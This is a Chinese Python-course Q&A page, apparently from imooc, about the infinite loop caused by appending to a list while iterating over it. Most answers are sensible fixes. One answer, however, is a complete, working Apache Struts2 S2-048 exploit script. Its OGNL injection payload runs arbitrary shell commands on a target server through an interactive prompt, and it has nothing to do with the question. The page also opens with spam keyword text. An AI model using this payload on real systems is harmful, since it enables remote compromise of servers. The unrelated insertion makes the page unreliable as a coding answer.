亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定

關于用for循環來完成append的問題,無限循環怎么解決

A=['Adam', 'Lisa', 'Bart', 'Paul']

for i in A:

? ? j=i.lower()

? ? A.append(j)

就是這段代碼,輸入后會無限訪問A中的元素,無限往后添加...有什么辦法避免重復?

正在回答

4 回答

###?第一種方法
s?=?set([name.lower()?for?name?in?['Adam',?'Lisa',?'Bart',?'Paul']])
###?通過for循環遍歷name,然后將name變成小寫字符串,然后形成新的列表
print?'adam'?in?s
print?'bart'?in?s

###?第二張方法
L=['Adam',?'Lisa',?'Bart',?'Paul']
M=[]
for?x?in?L:???????????####遍歷列表中的字符串
????y=x.lower()???????####?將得到的字符串變成小寫
????M.append(y)???????####?空列表中末尾追加得到的小寫字符串,形成新的列表M
s?=?set(M)????????????####?通過set?方法,防止元素重復(若重復,自動刪除一個元素)
print?s
print?'adam'?in?s
print?'bart'?in?s

http://img1.sycdn.imooc.com//5a64f00c0001e89a04680319.jpg

0 回復 有任何疑惑可以回復我~
#!/usr/bin/env?python
#?-*-?coding:?utf-8?-*-
'''
st2-048.py
'''

#?!/usr/bin/python

#?-*-?coding:?utf-8?-*-

print?'''

?____?____????????___??_??_????___??
/?___|___?\??????/?_?\|?||?|??(?_?)?
\___?\?__)?|____|?|?|?|?||?|_?/?_?\?
?___)?/?__/_____|?|_|?|__???_|?(_)?|
|____/_____|?????\___/???|_|??\___/?
???????????????????????????????????????????????????????????????????????
?____???____?_____????????_??_____?_____?____??????_????____?_??__
|??_?\?/?___|?____|??????/?\|_???_|_???_|??_?\????/?\??/?___|?|/?/
|?|_)?|?|???|??_|?_____?/?_?\?|?|???|?|?|?|_)?|??/?_?\|?|???|?'?/?
|??_?<|?|___|?|__|_____/?___?\|?|???|?|?|??_?<??/?___?\?|___|?.?\?
|_|?\_\\____|_____|???/_/???\_\_|???|_|?|_|?\_\/_/???\_\____|_|\_\

????????????????????Author?By?Jas502n

????????????https://github.com/jas502n/st2-048

????????????影響不大,周末注意休息,不要搞事情!

'''

import?json,?re
import?requests
import?threading
import?urllib


def?Poc(url,?command):
????header?=?{'Content-Type':?'application/x-www-form-urlencoded'}
????poc?=?{"name":?"%{(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='?\
??????????????????????????"?+?command?+?"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}",
???????????"age":?"1",?"__checkbox_bustedBefore":?"true",?"description":?"123123"}
????data?=?urllib.urlencode(poc)
????try:
????????result?=?requests.post(url,?data=data,?headers=header)
????????if?result.status_code?==?200:
????????????print?result.content
????except?requests.ConnectionError,?e:
????????print?e


th?=?{"url":?""}

while?True:
????if?th.get("url")?!=?"":
????????input_cmd?=?raw_input("cmd?>>:?")
????????if?input_cmd?==?"exit":
????????????exit()
????????elif?input_cmd?==?'set':
????????????url?=?raw_input("set?url?:")
????????????th['url']?=?url
????????elif?input_cmd?==?'show?url':
????????????print?th.get("url")
????????else:
????????????Poc(th.get("url"),?input_cmd)
????else:
????????url?=?raw_input("set?url?:")
????????th["url"]?=?url


0 回復 有任何疑惑可以回復我~

A=['Adam', 'Lisa', 'Bart', 'Paul']

for i in A[:]:

? ? j=i.lower()

? ? A.append(j)

改成這樣也行

0 回復 有任何疑惑可以回復我~

哦我知道了...因為append往里面加了新元素以后會繼續訪問23333得用另一個list保存

0 回復 有任何疑惑可以回復我~

舉報

0/150
提交
取消
初識Python
  • 參與學習       758383    人
  • 解答問題       8967    個

學python入門視頻教程,讓你快速入門并能編寫簡單的Python程序

進入課程

關于用for循環來完成append的問題,無限循環怎么解決

我要回答 關注問題
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號